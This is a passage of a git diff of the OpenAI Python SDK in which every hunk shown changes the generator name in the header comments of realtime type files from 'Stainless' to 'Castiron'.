-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_conversation_item_function_call_param.py b/src/openai/types/realtime/realtime_conversation_item_function_call_param.py
index 6467ce149e..d88adbf504 100644
--- a/src/openai/types/realtime/realtime_conversation_item_function_call_param.py
+++ b/src/openai/types/realtime/realtime_conversation_item_function_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_conversation_item_system_message.py b/src/openai/types/realtime/realtime_conversation_item_system_message.py
index f69bc03937..e988b15a41 100644
--- a/src/openai/types/realtime/realtime_conversation_item_system_message.py
+++ b/src/openai/types/realtime/realtime_conversation_item_system_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_conversation_item_system_message_param.py b/src/openai/types/realtime/realtime_conversation_item_system_message_param.py
index 93880198fa..10c94bd1b3 100644
--- a/src/openai/types/realtime/realtime_conversation_item_system_message_param.py
+++ b/src/openai/types/realtime/realtime_conversation_item_system_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_conversation_item_user_message.py b/src/openai/types/realtime/realtime_conversation_item_user_message.py
index 20e9614eb6..a66dc6af50 100644
--- a/src/openai/types/realtime/realtime_conversation_item_user_message.py
+++ b/src/openai/types/realtime/realtime_conversation_item_user_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_conversation_item_user_message_param.py b/src/openai/types/realtime/realtime_conversation_item_user_message_param.py
index 69a24692e8..f12c255a5f 100644
--- a/src/openai/types/realtime/realtime_conversation_item_user_message_param.py
+++ b/src/openai/types/realtime/realtime_conversation_item_user_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_error.py b/src/openai/types/realtime/realtime_error.py
index 2aa5bc9425..254cf2354f 100644
--- a/src/openai/types/realtime/realtime_error.py
+++ b/src/openai/types/realtime/realtime_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_error_event.py b/src/openai/types/realtime/realtime_error_event.py
index 574464b29e..e9b6933df1 100644
--- a/src/openai/types/realtime/realtime_error_event.py
+++ b/src/openai/types/realtime/realtime_error_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_function_tool.py b/src/openai/types/realtime/realtime_function_tool.py
index 48dbf9929d..8ef6047a73 100644
--- a/src/openai/types/realtime/realtime_function_tool.py
+++ b/src/openai/types/realtime/realtime_function_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_function_tool_param.py b/src/openai/types/realtime/realtime_function_tool_param.py
index f42e3e497c..d769d78a24 100644
--- a/src/openai/types/realtime/realtime_function_tool_param.py
+++ b/src/openai/types/realtime/realtime_function_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcp_approval_request.py b/src/openai/types/realtime/realtime_mcp_approval_request.py
index 1744c90070..1e8d25a988 100644
--- a/src/openai/types/realtime/realtime_mcp_approval_request.py
+++ b/src/openai/types/realtime/realtime_mcp_approval_request.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_mcp_approval_request_param.py b/src/openai/types/realtime/realtime_mcp_approval_request_param.py
index f7cb68d67e..c255bb9551 100644
--- a/src/openai/types/realtime/realtime_mcp_approval_request_param.py
+++ b/src/openai/types/realtime/realtime_mcp_approval_request_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcp_approval_response.py b/src/openai/types/realtime/realtime_mcp_approval_response.py
index f8525a12fc..9828cdc403 100644
--- a/src/openai/types/realtime/realtime_mcp_approval_response.py
+++ b/src/openai/types/realtime/realtime_mcp_approval_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_mcp_approval_response_param.py b/src/openai/types/realtime/realtime_mcp_approval_response_param.py
index 6a65f7ce38..ce9a67183b 100644
--- a/src/openai/types/realtime/realtime_mcp_approval_response_param.py
+++ b/src/openai/types/realtime/realtime_mcp_approval_response_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcp_list_tools.py b/src/openai/types/realtime/realtime_mcp_list_tools.py
index 669d1fb43b..96df14ecd7 100644
--- a/src/openai/types/realtime/realtime_mcp_list_tools.py
+++ b/src/openai/types/realtime/realtime_mcp_list_tools.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_mcp_list_tools_param.py b/src/openai/types/realtime/realtime_mcp_list_tools_param.py
index 614fa53347..44f1bbee78 100644
--- a/src/openai/types/realtime/realtime_mcp_list_tools_param.py
+++ b/src/openai/types/realtime/realtime_mcp_list_tools_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcp_protocol_error.py b/src/openai/types/realtime/realtime_mcp_protocol_error.py
index 2e7cfdffa3..c97ba69f4f 100644
--- a/src/openai/types/realtime/realtime_mcp_protocol_error.py
+++ b/src/openai/types/realtime/realtime_mcp_protocol_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_mcp_protocol_error_param.py b/src/openai/types/realtime/realtime_mcp_protocol_error_param.py
index bebe3d379e..04b2bd8568 100644
--- a/src/openai/types/realtime/realtime_mcp_protocol_error_param.py
+++ b/src/openai/types/realtime/realtime_mcp_protocol_error_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcp_tool_call.py b/src/openai/types/realtime/realtime_mcp_tool_call.py
index f53ad0eaa9..5b9b1d5b19 100644
--- a/src/openai/types/realtime/realtime_mcp_tool_call.py
+++ b/src/openai/types/realtime/realtime_mcp_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_mcp_tool_call_param.py b/src/openai/types/realtime/realtime_mcp_tool_call_param.py
index 8ccb5efc8a..772cbf5a80 100644
--- a/src/openai/types/realtime/realtime_mcp_tool_call_param.py
+++ b/src/openai/types/realtime/realtime_mcp_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcp_tool_execution_error.py b/src/openai/types/realtime/realtime_mcp_tool_execution_error.py
index a2ed063129..4443c2e45b 100644
--- a/src/openai/types/realtime/realtime_mcp_tool_execution_error.py
+++ b/src/openai/types/realtime/realtime_mcp_tool_execution_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_mcp_tool_execution_error_param.py b/src/openai/types/realtime/realtime_mcp_tool_execution_error_param.py
index 619e11c305..660b8e0985 100644
--- a/src/openai/types/realtime/realtime_mcp_tool_execution_error_param.py
+++ b/src/openai/types/realtime/realtime_mcp_tool_execution_error_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_mcphttp_error.py b/src/openai/types/realtime/realtime_mcphttp_error.py
index 53cff91e6e..d17a860ec5 100644
--- a/src/openai/types/realtime/realtime_mcphttp_error.py
+++ b/src/openai/types/realtime/realtime_mcphttp_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_mcphttp_error_param.py b/src/openai/types/realtime/realtime_mcphttp_error_param.py
index 2b80a6f0a4..603ae109b7 100644
--- a/src/openai/types/realtime/realtime_mcphttp_error_param.py
+++ b/src/openai/types/realtime/realtime_mcphttp_error_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_reasoning.py b/src/openai/types/realtime/realtime_reasoning.py
index 5d49c9bd0b..3ae14c24d2 100644
--- a/src/openai/types/realtime/realtime_reasoning.py
+++ b/src/openai/types/realtime/realtime_reasoning.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_reasoning_effort.py b/src/openai/types/realtime/realtime_reasoning_effort.py
index dcf9e303a7..21502d948c 100644
--- a/src/openai/types/realtime/realtime_reasoning_effort.py
+++ b/src/openai/types/realtime/realtime_reasoning_effort.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_reasoning_param.py b/src/openai/types/realtime/realtime_reasoning_param.py
index f6de89c99a..f0cc21e437 100644
--- a/src/openai/types/realtime/realtime_reasoning_param.py
+++ b/src/openai/types/realtime/realtime_reasoning_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_response.py b/src/openai/types/realtime/realtime_response.py
index a23edc48ab..c285b0ece9 100644
--- a/src/openai/types/realtime/realtime_response.py
+++ b/src/openai/types/realtime/realtime_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_response_create_audio_output.py b/src/openai/types/realtime/realtime_response_create_audio_output.py
index 7848357236..9ea6c892a4 100644
--- a/src/openai/types/realtime/realtime_response_create_audio_output.py
+++ b/src/openai/types/realtime/realtime_response_create_audio_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_response_create_audio_output_param.py b/src/openai/types/realtime/realtime_response_create_audio_output_param.py
index bb930f5488..d89a193498 100644
--- a/src/openai/types/realtime/realtime_response_create_audio_output_param.py
+++ b/src/openai/types/realtime/realtime_response_create_audio_output_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_response_create_mcp_tool.py b/src/openai/types/realtime/realtime_response_create_mcp_tool.py
index 6e3c3512af..694f598393 100644
--- a/src/openai/types/realtime/realtime_response_create_mcp_tool.py
+++ b/src/openai/types/realtime/realtime_response_create_mcp_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py b/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
index 51ade5ad0f..300e7c2fe1 100644
--- a/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
+++ b/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_response_create_params.py b/src/openai/types/realtime/realtime_response_create_params.py
index 8e20168e34..6561f0d5a4 100644
--- a/src/openai/types/realtime/realtime_response_create_params.py
+++ b/src/openai/types/realtime/realtime_response_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_response_create_params_param.py b/src/openai/types/realtime/realtime_response_create_params_param.py
index aafa3d4e25..0ec84f5a40 100644
--- a/src/openai/types/realtime/realtime_response_create_params_param.py
+++ b/src/openai/types/realtime/realtime_response_create_params_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_response_status.py b/src/openai/types/realtime/realtime_response_status.py
index 26b272ae5a..8b01089d18 100644
--- a/src/openai/types/realtime/realtime_response_status.py
+++ b/src/openai/types/realtime/realtime_response_status.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_response_usage.py b/src/openai/types/realtime/realtime_response_usage.py
index a5985d8a7b..f756434351 100644
--- a/src/openai/types/realtime/realtime_response_usage.py
+++ b/src/openai/types/realtime/realtime_response_usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_response_usage_input_token_details.py b/src/openai/types/realtime/realtime_response_usage_input_token_details.py
index 0fc71749e9..3e289ac198 100644
--- a/src/openai/types/realtime/realtime_response_usage_input_token_details.py
+++ b/src/openai/types/realtime/realtime_response_usage_input_token_details.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_response_usage_output_token_details.py b/src/openai/types/realtime/realtime_response_usage_output_token_details.py
index 2154c77d5d..eca5ca1fd1 100644
--- a/src/openai/types/realtime/realtime_response_usage_output_token_details.py
+++ b/src/openai/types/realtime/realtime_response_usage_output_token_details.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_server_event.py b/src/openai/types/realtime/realtime_server_event.py
index 5de53d053e..8262c92a76 100644
--- a/src/openai/types/realtime/realtime_server_event.py
+++ b/src/openai/types/realtime/realtime_server_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_session_create_request.py b/src/openai/types/realtime/realtime_session_create_request.py
index a1088415a9..523568b174 100644
--- a/src/openai/types/realtime/realtime_session_create_request.py
+++ b/src/openai/types/realtime/realtime_session_create_request.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_session_create_request_param.py b/src/openai/types/realtime/realtime_session_create_request_param.py
index cf5787229d..721c05bb24 100644
--- a/src/openai/types/realtime/realtime_session_create_request_param.py
+++ b/src/openai/types/realtime/realtime_session_create_request_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_session_create_response.py b/src/openai/types/realtime/realtime_session_create_response.py
index 129f36b78c..707c7e803d 100644
--- a/src/openai/types/realtime/realtime_session_create_response.py
+++ b/src/openai/types/realtime/realtime_session_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_tool_choice_config.py b/src/openai/types/realtime/realtime_tool_choice_config.py
index f93c490004..31fb018a5b 100644
--- a/src/openai/types/realtime/realtime_tool_choice_config.py
+++ b/src/openai/types/realtime/realtime_tool_choice_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import TypeAlias
diff --git a/src/openai/types/realtime/realtime_tool_choice_config_param.py b/src/openai/types/realtime/realtime_tool_choice_config_param.py
index af92f243b0..4f3a41be3e 100644
--- a/src/openai/types/realtime/realtime_tool_choice_config_param.py
+++ b/src/openai/types/realtime/realtime_tool_choice_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_tools_config.py b/src/openai/types/realtime/realtime_tools_config.py
index b97599ab42..e8a58b8322 100644
--- a/src/openai/types/realtime/realtime_tools_config.py
+++ b/src/openai/types/realtime/realtime_tools_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/realtime/realtime_tools_config_param.py b/src/openai/types/realtime/realtime_tools_config_param.py
index 1e5903270e..a2212fe0cc 100644
--- a/src/openai/types/realtime/realtime_tools_config_param.py
+++ b/src/openai/types/realtime/realtime_tools_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_tools_config_union.py b/src/openai/types/realtime/realtime_tools_config_union.py
index d7023dff0c..84b232edde 100644
--- a/src/openai/types/realtime/realtime_tools_config_union.py
+++ b/src/openai/types/realtime/realtime_tools_config_union.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_tools_config_union_param.py b/src/openai/types/realtime/realtime_tools_config_union_param.py
index 2fac844a1c..84681137f1 100644
--- a/src/openai/types/realtime/realtime_tools_config_union_param.py
+++ b/src/openai/types/realtime/realtime_tools_config_union_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_tracing_config.py b/src/openai/types/realtime/realtime_tracing_config.py
index 37e3ce8945..a7d767a673 100644
--- a/src/openai/types/realtime/realtime_tracing_config.py
+++ b/src/openai/types/realtime/realtime_tracing_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_tracing_config_param.py b/src/openai/types/realtime/realtime_tracing_config_param.py
index 742412897f..87826dd493 100644
--- a/src/openai/types/realtime/realtime_tracing_config_param.py
+++ b/src/openai/types/realtime/realtime_tracing_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio.py b/src/openai/types/realtime/realtime_transcription_session_audio.py
index 7ec29afb79..652e3813ab 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_input.py b/src/openai/types/realtime/realtime_transcription_session_audio_input.py
index e6f044bc22..e204ff674c 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_input.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_input.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py b/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py
index cacb38dc22..5b00dc71ea 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection.py b/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection.py
index 3d4ee779f4..74f34e867e 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection_param.py b/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection_param.py
index 0aca59ce11..82b378fbb6 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection_param.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_input_turn_detection_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_param.py b/src/openai/types/realtime/realtime_transcription_session_audio_param.py
index 6bf1117917..cc496decc2 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_param.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_transcription_session_create_request.py b/src/openai/types/realtime/realtime_transcription_session_create_request.py
index f72a4ad93f..ce1f25dc6d 100644
--- a/src/openai/types/realtime/realtime_transcription_session_create_request.py
+++ b/src/openai/types/realtime/realtime_transcription_session_create_request.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_transcription_session_create_request_param.py b/src/openai/types/realtime/realtime_transcription_session_create_request_param.py
index 9b4d8ead79..8dfa5329c6 100644
--- a/src/openai/types/realtime/realtime_transcription_session_create_request_param.py
+++ b/src/openai/types/realtime/realtime_transcription_session_create_request_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_transcription_session_create_response.py b/src/openai/types/realtime/realtime_transcription_session_create_response.py
index 68f7e71a54..c821c3768c 100644
--- a/src/openai/types/realtime/realtime_transcription_session_create_response.py
+++ b/src/openai/types/realtime/realtime_transcription_session_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_transcription_session_turn_detection.py b/src/openai/types/realtime/realtime_transcription_session_turn_detection.py
index 0f3d5b1c00..4e85255499 100644
--- a/src/openai/types/realtime/realtime_transcription_session_turn_detection.py
+++ b/src/openai/types/realtime/realtime_transcription_session_turn_detection.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_truncation.py b/src/openai/types/realtime/realtime_truncation.py
index 515f869071..82be27cd65 100644
--- a/src/openai/types/realtime/realtime_truncation.py
+++ b/src/openai/types/realtime/realtime_truncation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_truncation_param.py b/src/openai/types/realtime/realtime_truncation_param.py
index 5e42b27418..0bbe278e77 100644
--- a/src/openai/types/realtime/realtime_truncation_param.py
